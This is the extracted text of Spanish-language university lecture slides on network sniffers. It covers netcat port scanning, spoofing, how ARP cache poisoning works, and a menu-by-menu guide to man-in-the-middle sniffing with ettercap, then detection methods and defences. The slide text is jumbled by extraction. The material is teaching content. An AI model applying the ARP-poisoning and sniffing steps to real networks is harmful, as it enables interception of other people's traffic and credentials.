• Streaming de audio– Cliente nc server.example.org 2000 | madplay

– Servidor c -l -p 2000 < fichero.mp3

37Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 73Dr. Roberto Gómez

Escaneo de puertos

C:\nc11nt>nc -v -v -z 192.168.010.001 53 25 21

DNS fwd/rev mismatch: localhost != NKRAlocalhost [192.168.010.001] 53 (domain): connection refused

localhost [192.168.010.001] 25 (smtp): connection refusedlocalhost [192.168.010.001] 21 (ftp): connection refusedsent 0, rcvd 0: NOTSOCK

C:\nc11nt>nc -v -v -z 192.168.010.001 1-53

DNS fwd/rev mismatch: localhost != darkstarlocalhost [192.168.010.001] 53 (domain): connection refused

localhost [192.168.010.001] 52 (?): connection refusedlocalhost [192.168.010.001] 51 (?): connection refusedlocalhost [192.168.010.001] 50 (?): connection refused

localhost [192.168.010.001] 49 (?): connection refusedlocalhost [192.168.010.001] 48 (?): connection refused etc…

Lámina 74Dr. Roberto Gómez

Conectando dos equipos con netcat

nc –l -p 5600nc 192.163.3.19 5600

Cliente Servidor

Corre como cliente, enviando cualquier entrada de la línea de comandos al puerto 5600 de la máquina 192.163.3.19

Corre como servicio escuchando en el puerto 5600

38Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 75Dr. Roberto Gómez

¿¿Y las redes switcheadas??

Introducción a los sniffers activos

Lámina 76Dr. Roberto Gómez

Tipos de sniffers

• Pasivos– sniffers no realizan actividad alguna

– solo capturan paquetes

• Activos– sniffers intentan apoderarse de las sesiones

– uso de técnicas para lograr lo anterior• spoofing

• envenenamiento de la tabla de arp

39Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 77Dr. Roberto Gómez

Spoofing

• Spoofing es la creación de paquetes de comunicación TCP/IP usando una dirección IP de alguien más.

• Lo anterior permite entrar en un sistema haciéndose pasar por un usuario autorizado.

• Una vez dentro del sistema, el atacante puede servirse de éste como plataforma para introducirse en otro y así sucesivamente.

• Ejemplo– hacer un telnet al puerto 25 y enviar correos a nombre de

otra persona

Lámina 78Dr. Roberto Gómez

1er ejemplo spoofing: ataque ARP

• Consiste en hacerse pasar por una máquina que no es.

• Aprovecha el principio de funcionamiento del protocolo ARP.

• Sólo es útil es redes/máquinas que utilizan este protocolo (locales).

• También conocido como envenenamiento de ARP

40Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 79Dr. Roberto Gómez

Protocolo ARP(funcionamiento normal)

A BX

LA

FA

LB

?1

Tabla arp de máquina A: LA: dirección lógica A, F A dirección física Ase desconoce la dirección física de B (F B)

Máquina A pregunta la dirección física de B

Lámina 80Dr. Roberto Gómez

Protocolo ARP(funcionamiento normal)

LA

FA

LB

FFBB2

A BXB responde con su dirección física (F B)

A actualiza su tabla arp

41Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 81Dr. Roberto Gómez

Ataque ARP(máquina A solicita direccón de B)

LA

FA

LB

?1

Máquina Intrusa

BXA

Tabla arp de máquina A:

Máquina A pregunta la dirección física de B

Lámina 82Dr. Roberto Gómez

Ataque ARP

LA

FA

LB

FFXX2

A BX

Intruso responde con su dirección física

(FB)

A actualiza su tabla arp

42Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 83Dr. Roberto Gómez

Ataque ARP

IA

FA

IB

FB2

Máquina Intrusa

BXA

X le envía a Bsu dirección física (F x)

B actualiza su tabla arp(cambia F A por F x)

Máquina intrusa (X) le notifica a B que ella es A

FX

Tabla ARP de la máquina B

Lámina 84Dr. Roberto Gómez

Finalmente

B

X

Máquina Intrusa

A

De B para ADe B para A

De A para B De A para B

Toda la información entre A y B pasa por X

43Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 85Dr. Roberto Gómez

Presentando ettercap

Kiddie: A friend of mine told me that it is possible to sniff on a LA N... so I bought a switch ;)NaGoR: mmhhh....Kiddie: Now my LAN is SECURE ! you can't sniff my packets... ah ah ahNaGoR: are you sure ? look at ettercap doing its work...Kiddie: Oh my god... it sniffs all my traffic !!

I will use only ciphered connections on my LAN, so etter cap can't sniff them ! ah ah ahNaGoR: mmhhh....Kiddie: Now I'm using SSH. My LAN is SECURE !NaGoR: are you sure ? look at ettercap doing its work...Kiddie: shit !! grrrr...

"a false sense of security, is worse than insecurity" - - Steve Gibsonhey folks... wake up ! the net is NOT secure !!ettercap demonstrates that now is the time to encourage res earch oninternet protocols to make them more secure.

Lámina 86Dr. Roberto Gómez

Modos operación

• El sniffer tiene cuatro modos de operación– Basado en IP, paquetes filtrados en fuente y destino IP

– Basado en MAC, paquetes filtrados en base a direcciones MAC, útil para sniffear conexiones a través del gateway

– Basado en ARP, útil para envenenar el arp para sniffearen una lan switcheado entre dos hosts (full-duplex)

– Basado en ARP público, usa envenamiento de arp para sniffear una lan switcheada de un host víctima al resto de los hosts (half-duplex)

44Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 87Dr. Roberto Gómez

Arp based sniffing

• No pone la interfaz en modo promiscuo.• No es necesario, los paquetes llegan a la máquina.

– el switch reenvia los paquetes a la máquina

• Como funciona– ettecarp “envenena” el caché del arp de dos hosts,

identificandose como otro host – una vez que el caché fue envenenado, los hosts empiezan a

comunicarse, pero sus paquetes se envían a la máquina “interceptora”

– esta máquina almacena estos paquetes y los enviara a la máquina destino

Lámina 88Dr. Roberto Gómez

Características arp sniffing

• La conexión es transparente para las víctimas– no saben que están siendo “snifeados”

– la única forma de descubrir lo que esta pasando es ver los cachés arp de las máquinas y verificar si hay dos hosts con la misma dirección MAC

host 1(envenenado)

host 2(envenenado)

host atacante ( ettercap )

45Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 89Dr. Roberto Gómez

Envenenando el caché de arp

• Protocolo arp tiene una inseguridad intrínseca.• Para reducir tráfico en cable, creará una entrada en la

caché del arp, aún cuando no fue solicitado.• Cada arp-replyque viaja en el cable será insertado en

la tabla de arp.• Ataque:

– se enván arp-reply a los dos host a sniffear– en este mensaje se indica que la dirección mac del segundo

host es la del atacante– el host enviara paquetes que deben ir al primer host a la

máquina atacante – lo mismo para el primer host pero en orden inverso

Lámina 90Dr. Roberto Gómez

Ejemplos host envenenados

HOST 1: ATTACKER HOST:mac: 01:01:01:01:01:01 mac: 03:03:03:03:03:03ip: 192.168.0.1 ip: 192.168.0.3HOST 2: mac: 02:02:02:02:02:02ip: 192.168.0.2se envían mensajes arp-reply a:

HOST 1 indicando que 192.168.0.2 esta en: 03:03:03:03:03:03HOST 2 indicando que 192.168.0.1 esta en: 03:03:03:03:03:03

ahora se encuentran envenenados, y enviaran paquetes al host de ataque,

este último enviará paquetes de la siguiente forma:

HOST 1 será reenviado a: 02:02:02:02:02:02

HOST 2 será reenviado a: 01:01:01:01:01:01

46Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 91Dr. Roberto Gómez

Requerimientos

• No requiere de ninguna biblioteca como libpcap, libnet o libnids, tampoco es necesario ncurses, pero es altamente recomendable instalarlo.

• Si es necesario que soporte SSH1 y/p HTTPS, ettercap requiere las bibliotecas de OpenSSL

• Para Win32:– requiere Windows NT/2000/XP.

– winpcap versión 2.3 o mayor

– cygwin de http://cygwin.com/setup.exe

Lámina 92Dr. Roberto Gómez

La interfaz ncurses

• Ventana principal dividida en tres subsecciones:– alta: diagrama de conexión, que despliega las dos máquinas a

sniffear o a conectar o sobre las que se va a operar

– media: lista de los hostconocidos en la LAN (unidos hub o switch)

– baja: ventana de status, proporciona información adicional acerca de los objetos actualmente seleccionados, status actual y otros hints importantes.

47Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 93Dr. Roberto Gómez

¿Cómo funciona todo?

• Lanzando ettercap• La lista de hosts• Sniffing basado en IP• Sniffing basado en MAC• Sniffing basado en ARP• Envenamiento de ARP• ARP público• ARP público inteligente• Inyección de caracteres

Lámina 94Dr. Roberto Gómez

Lanzando ettercap

• Comando ettercap

48Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 95Dr. Roberto Gómez

Lista hosts disponibles

• Lo primero que se obtiene es la lista de hosts de la LAN

• Se puede seleccionar con flechas y teclas de tabulador los dos hosts a monitorear, y después seleccionar el método apropiado (IP, MAC or ARP based sniffing).

Lámina 96Dr. Roberto Gómez

La lista de hosts

• Cuando empieza hace una lista de todos los hosts en la LAN.

• Envía un ARP REQUEST a cada IP en la LAN– revisando la IP actual y el netmask

– posible capturar los ARP REPLIES y hacer la lista de los hosts que están respondiendo en la LAN

• Con este método también los hosts Windows responden

• Precaución con netmask = 255.255.0.0– ettercap enviará 255*255 = 65025 mensajes tipo arp request

– tomará más de un minuto construir la lista

49Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 97Dr. Roberto Gómez

Ejemplo lista de hosts

Lámina 98Dr. Roberto Gómez

Elegir en medio de quien se quiere poner

• Seleccionar la primera computadora de la columna a la izquierda

• Seleccionar la segunda de la columna derecha

• Para moverse entre las máquinas utilizar la flecha arriba y abajo

• Para moverse entre columnas utilizar la tecla con la flecha derecha o izquierda

• Las máquinas seleccionadas se despliegan el parte superior– Se despliega su dirección

MAC e IP

Se elige la primera IP

50Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 99Dr. Roberto Gómez

Ejemplo direcciones seleccionadas

Se elige la segunda IP

Lámina 100Dr. Roberto Gómez

Seleccionando que hacer

• Presionando F1 se accede al menú de ayuda– todos los menú poseen su

propia ayuda, se accede pulsando F1

• Hay 3 modos de sniffing: – Envenenamiento ARP ->

pulsando 'a' o 'A‘– Sniffing a las IPs ->

pulsando 's' o 'S‘– Sniffing a las MAC ->

pulsando 'm' o 'M'

51Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 101Dr. Roberto Gómez

Evenenamiento de las tablas arp

• Con la opción ‘a’ se envenenan las tablas arp de las maquinas seleccionadas.

Lámina 102Dr. Roberto Gómez

Estado conexiones entre hosts

• Después de seleccionar un método, la interfaz muestra todas las conexiones entre los dos hosts

• Se puede elegir la conexión que se desea sniffear

• Cada conexión tiene un atributo (activo o silencio) que indica si existe alguna actividad en esta conexión.

52Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 103Dr. Roberto Gómez

Viendo la comunicación

Lámina 104Dr. Roberto Gómez

Snifeando la conexión

• La interfaz de snifeo muestra tanto el puerto fuente como destino.

• Es posible registrar los datos sniffeados, examinarlo en modo ascii o hexadecimal, inyectar caracteres en una conexión telnet y mucho más

53Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 105Dr. Roberto Gómez

Otro ejemplo de captura

Lámina 106Dr. Roberto Gómez

¿Es https seguro?

54Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 107Dr. Roberto Gómez

Otros menú de ayuda

Lámina 108Dr. Roberto Gómez

Detección sniffers

• Sniffers son difíciles de detectar y combatir ya que son programas pasivos.– algunas veces imposible

• No generan bitacoras.

• Cuando se usan propiamente, no usan mucho disco ni memoria.

• Es posible localizarlos a nivel local– verificar que se esta ejecutando

• A nivel red, algunos pueden localizarse mediante herramientas

55Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 109Dr. Roberto Gómez

A nivel local

• Saber si alguna interfaz de red, de las computadoras de la red, se encuentra en modo promiscuo– a través comandos ifconfig y utilería ifstatus

• Comando ifconfig– responde con el status de todas las interfaces

– ejemplo uso:

toto@cachafas:17>ifconfigUP BROADCAST RUNNIG PROMISC MULTICAST MTU:1500 Metric:1:toto@cachafas:18>

Lámina 110Dr. Roberto Gómez

A nivel local

• Utileria ifstatus– pequeño programa en

– verifica todas las interfaces de red en el sistema y reporta si alguna de ellas se encuentran en modo promiscuo.

– también los detecta en host locales

– un ejemplo de salida es:

WARNING: LINUX2.SAMSHACKER.NET INTERFACE eth0 IS IN PROMISCOUS MODE

56Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 111Dr. Roberto Gómez

Aprovechando errores implementación stack IP

• Posible detectar sniffers en algunos sistemas operativos– por ejemplo: Linux

• Aprovechar debilidad en la implementación del stackTCP/IP.

• Cuando se encuentra en modo promiscuo– responde a los paquetes TCP/IP que recibe con su dirección IP

aún si la dirección MAC en dicho paquete esta mal

– el comportamiento estándar es que los paquetes que contienen direcciones MAC erróneas no serán tomados en cuenta (i.e. no hay repuesta) ya que la interfaz de red los “tira”.

Lámina 112Dr. Roberto Gómez

Aprovechando errores implementación stack IP

• ¿Cómo funciona?– se envian paquetes TCP/IP a todas las direcciones de

la red, donde la dirección MAC contenga información errónea, la respuesta de dichas máquina seá un paquete RST

– indicará que máquinas se encuentran en modo promiscuo.

• A pesar de que no se trata de un método perfecto puede ayudar a descubrir actividad sospechosa en una red.

57Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 113Dr. Roberto Gómez

Técnicas similares de detección

• DNS test

• Etherping test

• ARP test

• ICMP Ping de Latencia

Lámina 114Dr. Roberto Gómez

Herramientas detección sniffers

• AntiSniff

• CPM (Check Promiscuous Mode)

• neped

• sentinel

• los comandos/utilerías– ifconfig

– ifstatus

58Roberto Gómez Cárdenas

Seguridad Informática Sniffers

Lámina 115Dr. Roberto Gómez

Otras opciones

• Es una forma de protegerse de varios sniffers

• Hubs activos solo envían paquetes a un conjunto de máquinas previamente autorizadas– puede deshabilitar el sniffer ya que no recibirá paquetes que

no sean enviados por a una máquina en específico.

– Cisco, HP y 3COM cuentan con dichos hubs activos

• Switchear la red– ettercap

• Encripción de los canales de comunicación– VPNs: SSL, SSH, IPSec, L2TP, PPTP